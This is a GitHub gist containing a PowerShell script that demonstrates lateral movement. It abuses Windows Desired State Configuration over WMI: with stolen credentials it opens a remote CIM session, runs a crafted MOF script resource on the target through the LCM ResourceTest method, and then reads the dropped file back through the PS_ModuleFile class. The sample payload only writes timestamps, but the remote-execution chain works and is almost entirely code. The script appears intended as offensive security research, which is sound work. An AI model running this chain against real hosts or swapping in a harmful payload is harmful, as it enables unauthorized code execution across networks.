Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Demo showing DSC being used for lateral movement over WMI in addition to using WMI for remote file retrieval
# Specify the credentials of your target
$Credential = Get-Credential -Credential TestUser
$ComputerName = 'TestTarget'
# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True
Write-Warning 'Step 1: Converting the MOF payload to a byte array'
Start-Sleep -Seconds 3
$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID = "[Script]ScriptExample";
GetScript = "\"$(Get-Date): I am being GET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SetScript = "\"$(Get-Date): I am being SET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SourceInfo = "::3::5::Script";
ModuleName = "PsDesiredStateConfiguration";
ModuleVersion = "1.0";
ConfigurationName = "ScriptTest";
};
instance of OMI_ConfigurationDocument
{
Version="2.0.0";
MinimumCompatibleVersion = "1.0.0";
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
Author="TestUser";
GenerationDate="02/26/2018 07:09:21";
GenerationHost="TestHost";
Name="ScriptTest";
};
'@
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
if ($ExecuteRemotely) {
# Prepend the length of the payload
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
# If executing locally, you do not prepend the payload length
[Byte[]] $MOFBytes = $NormalizedMOFBytes
}
Write-Warning 'Step 2: Establish a remote CIM/WMI session with the target using the "stolen" credentials'
Start-Sleep -Seconds 3
# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential -Authentication Negotiate
Write-Warning 'Step 3: Invoke the script resource on the target system'
Start-Sleep -Seconds 3
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
# You may now proceed with lateral movement
$MethodArgs = @{
ModuleName = 'PSDesiredStateConfiguration'
ResourceType = 'MSFT_ScriptResource'
resourceProperty = $MOFBytes
}
$Arguments = @{
Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration'
ClassName = 'MSFT_DSCLocalConfigurationManager'
MethodName = 'ResourceTest'
Arguments = $MethodArgs
CimSession = $RemoteCIMSession
}
# Invoke the DSC script resource Test method
# Sucessful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
Invoke-CimMethod @Arguments
} else {
Write-Warning 'The DSC lateral movement method is not avilable on the remote system.'
}
Write-Warning 'Step 4: Use WMI to remotely retrieve the file that was dropped.'
Start-Sleep -Seconds 3
# The file that was dropped on the remote target.
# We're going to remotely retrieve its contents using just WMI using the existing CIM session.
$FilePath = 'C:\Windows\Temp\scriptrun.txt'
# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this trick below will force a "Get" operation versus the default "Enumerate" operation.
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile -CimSession $RemoteCIMSession
$InMemoryModuleFileInstance = New-CimInstance -CimClass $PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance -CimSession $RemoteCIMSession
$FileLengthBytes = $FileContents.FileData[0..3]
[Array]::Reverse($FileLengthBytes)
$FileLength = [BitConverter]::ToUInt32($FileLengthBytes, 0)
$FileBytes = $FileContents.FileData[4..($FileLength - 1)]
# Print the contents of the file!
[Text.Encoding]::Unicode.GetString($FileBytes)
Write-Warning 'Step 5: Profit!'
Start-Sleep -Seconds 3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.